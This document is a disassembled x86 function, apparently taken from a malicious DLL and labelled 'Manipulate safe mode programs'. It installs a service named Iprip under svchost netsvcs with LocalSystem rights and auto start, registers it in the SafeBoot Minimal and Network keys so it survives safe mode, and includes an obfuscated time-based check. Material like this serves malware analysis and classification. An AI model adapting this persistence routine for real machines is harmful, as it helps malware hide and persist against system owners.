Function at 0x10003d18
Capabilities:
Manipulate safe mode programs

Disassembly:
mov eax, 0x1000d08a
call fcn.10007e5c
sub esp, 0x4d0
lea ecx, [ebp - 0x454]
call fcn.10006893
and dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.10001000
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.10001000
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x45c]
call fcn.10001000
mov byte [ebp - 4], 3
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push str.ControlSafeBootMinimalIprip_
push 0x100119a0
lea eax, [ebp - 0x464]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4a0], eax
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x4a4], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x4a4]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.10006989
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x464]
call fcn.100010fa
push 0x100108c4
push 0x10011ae8
lea ecx, [ebp - 0x454]
call fcn.10006962
push str.Service
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
test eax, eax
je 0x10003e10
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006861
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10003e23
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
push str.ControlSafeBootNetworkIprip_
push 0x100119a0
lea eax, [ebp - 0x46c]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4a8], eax
mov eax, dword [ebp - 0x4a8]
mov dword [ebp - 0x4ac], eax
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x4ac]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.10006989
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x46c]
call fcn.100010fa
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
test eax, eax
je 0x10003ea5
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006861
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10003eb8
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
push str.ServicesIprip_
push 0x100119a0
lea eax, [ebp - 0x474]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x4b4], eax
mov byte [ebp - 4], 6
push dword [ebp - 0x4b4]
lea ecx, [ebp - 0x45c]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x474]
call fcn.100010fa
lea ecx, [ebp - 0x45c]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.10006989
push 0x10010904
push str.ErrorControl
lea ecx, [ebp - 0x454]
call fcn.10006962
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d57
test eax, eax
je 0x10003f4e
cmp dword [ebp - 0x18], 1
je 0x10003fb4
movzx eax, word [ebp - 0x30]
add eax, 0x5b95a95c
xor eax, 0x853ec5bb
cmp dword [ebp - 0x18], eax
jne 0x10003f9c
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x45c]
call fcn.100010fa
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.100010fa
and byte [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.100010fa
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x454]
call fcn.1000690f
jmp 0x10004513
mov dword [ebp - 0x18], 1
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d57
push str._SystemRoot_System32_svchost.exe__k_netsvcs
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0x1001094c
push str.ImagePath
lea ecx, [ebp - 0x454]
call fcn.10006962
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
test eax, eax
je 0x10004003
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006861
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10004016
push 1
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
push str.LocalSystem
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0x1001096c
push str.ObjectName
lea ecx, [ebp - 0x454]
call fcn.10006962
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
test eax, eax
je 0x10004065
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006861
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10004078
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
push 0x10010980
push str.Start
lea ecx, [ebp - 0x454]
call fcn.10006962
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d57
test eax, eax
je 0x100040a8
cmp dword [ebp - 0x18], 2
je 0x100040c0
mov dword [ebp - 0x18], 2
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d57
push 0x10010990
push str.Type
lea ecx, [ebp - 0x454]
call fcn.10006962
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d57
test eax, eax
je 0x100040f0
cmp dword [ebp - 0x18], 0x20
je 0x10004108
mov dword [ebp - 0x18], 0x20
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d57
push 0x100109a0
push str.DeleteFlag
lea ecx, [ebp - 0x454]
call fcn.10006962
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d57
test eax, eax
je 0x1000413d
lea ecx, [ebp - 0x454]
call fcn.10006e4f
push str.Parameters_
lea eax, [ebp - 0x45c]
push eax
lea eax, [ebp - 0x47c]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4b8], eax
mov eax, dword [ebp - 0x4b8]
mov dword [ebp - 0x4bc], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x4bc]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.10006989
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x47c]
call fcn.100010fa
push 0x100119f0
push 0x10011a20
lea eax, [ebp - 0x484]
push eax
call fcn.10001669
add esp, 0xc
mov dword [ebp - 0x4c0], eax
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x4c4], eax
mov byte [ebp - 4], 8
push dword [ebp - 0x4c4]
lea ecx, [ebp - 0x20]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x484]
call fcn.100010fa
push 0x100109c0
push str.ServiceDll
lea ecx, [ebp - 0x454]
call fcn.10006962
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
test eax, eax
je 0x10004222
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006861
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x10004248
push 1
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
cmp dword [0x10011aa8], 0
je 0x10004248
mov dword [0x10011aa4], 1
push str.InprocServer32_
push 0x10011a38
lea eax, [ebp - 0x48c]
push eax
call fcn.10001713
add esp, 0xc
mov dword [ebp - 0x4c8], eax
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x4cc], eax
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x4cc]
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.10006989
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x48c]
call fcn.100010fa
push 0x100109e4
push 0x10011aec
lea ecx, [ebp - 0x454]
call fcn.10006962
cmp dword [0x10011a00], 1
jne 0x10004309
push 0x100119e0
push 0x10011a20
lea eax, [ebp - 0x494]
push eax
call fcn.10001669
add esp, 0xc
mov dword [ebp - 0x4d0], eax
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x4d4], eax
mov byte [ebp - 4], 0xa
push dword [ebp - 0x4d4]
lea ecx, [ebp - 0x20]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x494]
call fcn.100010fa
jmp 0x10004355
push 0x100119d8
push 0x10011a20
lea eax, [ebp - 0x49c]
push eax
call fcn.10001669
add esp, 0xc
mov dword [ebp - 0x4d8], eax
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x4dc], eax
mov byte [ebp - 4], 0xb
push dword [ebp - 0x4dc]
lea ecx, [ebp - 0x20]
call fcn.10001549
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x49c]
call fcn.100010fa
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
test eax, eax
je 0x10004382
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10006861
pop ecx
pop ecx
movzx eax, al
test eax, eax
je 0x100043a8
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
cmp dword [0x10011aa8], 0
je 0x100043a8
mov dword [0x10011aa4], 1
mov ecx, 0x100119d0
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.10006989
push 0x100109ec
push str.Flags
lea ecx, [ebp - 0x454]
call fcn.10006962
push 1
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d57
test eax, eax
je 0x100043ee
cmp dword [ebp - 0x18], 0
je 0x10004403
and dword [ebp - 0x18], 0
push 0
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006d57
mov ecx, 0x10011a58
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.10006989
push 0x100109fc
push 0x10011af0
lea ecx, [ebp - 0x454]
call fcn.10006962
push 0x10011af4
lea ecx, [ebp - 0x20]
call fcn.10001581
push 0
push 1
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
test eax, eax
jne 0x10004465
push 0
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
mov ecx, 0x10011998
call fcn.10001bf8
push eax
lea ecx, [ebp - 0x454]
call fcn.10006989
push 0x10010a04
push str.netsvcs
lea ecx, [ebp - 0x454]
call fcn.10006962
push 2
push 1
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
test eax, eax
je 0x100044dd
push 0x10010a14
lea ecx, [ebp - 0x20]
call fcn.100014ae
test eax, eax
jge 0x100044dd
push str.Iprip
push 0x10010a28
lea ecx, [ebp - 0x20]
call fcn.10001a26
push 2
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x454]
call fcn.10006a6a
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x45c]
call fcn.100010fa
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.100010fa
and byte [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.100010fa
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x454]
call fcn.1000690f
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret